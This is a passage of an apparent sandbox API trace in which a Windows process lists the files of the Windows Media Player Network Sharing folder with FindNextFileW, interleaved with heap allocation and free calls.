[0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1922, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.png", cAlternateFileName="")) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fa08 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f400 [0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.bmp", cAlternateFileName="")) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fa28 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f508 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x231f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.jpg", cAlternateFileName="")) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fa48 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f610 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3d7d4c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3d7d4c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.bmp", cAlternateFileName="")) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fa68 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f718 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.jpg", cAlternateFileName="")) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.068] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.068] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fa88 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f820 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x101c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.png", cAlternateFileName="")) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165faa8 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168f928 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5788, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fac8 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168fa30 [0250.069] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.069] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1 [0250.069] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fae8 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168fb38 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fb08 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168fc40 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.070] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fb28 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168fd48 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fb48 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168fe50 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fb68 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x168ff58 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.071] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.071] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.072] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.072] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.072] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fb88 [0250.072] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x1690060 [0250.072] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5d40) returned 0x16a3830 [0250.072] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x169db28) returned 1 [0250.072] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0 [0250.072] GetLastError () returned 0x12 [0250.072] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0250.072] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectionManager.xml", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5352, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.jpg", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1922, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw120.png", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.bmp", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x231f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw32.jpg", cAlternateFileName="")) returned 1 [0250.072] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3d7d4c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3d7d4c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.bmp", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.jpg", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x101c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_bw48.png", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5788, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color120.png", 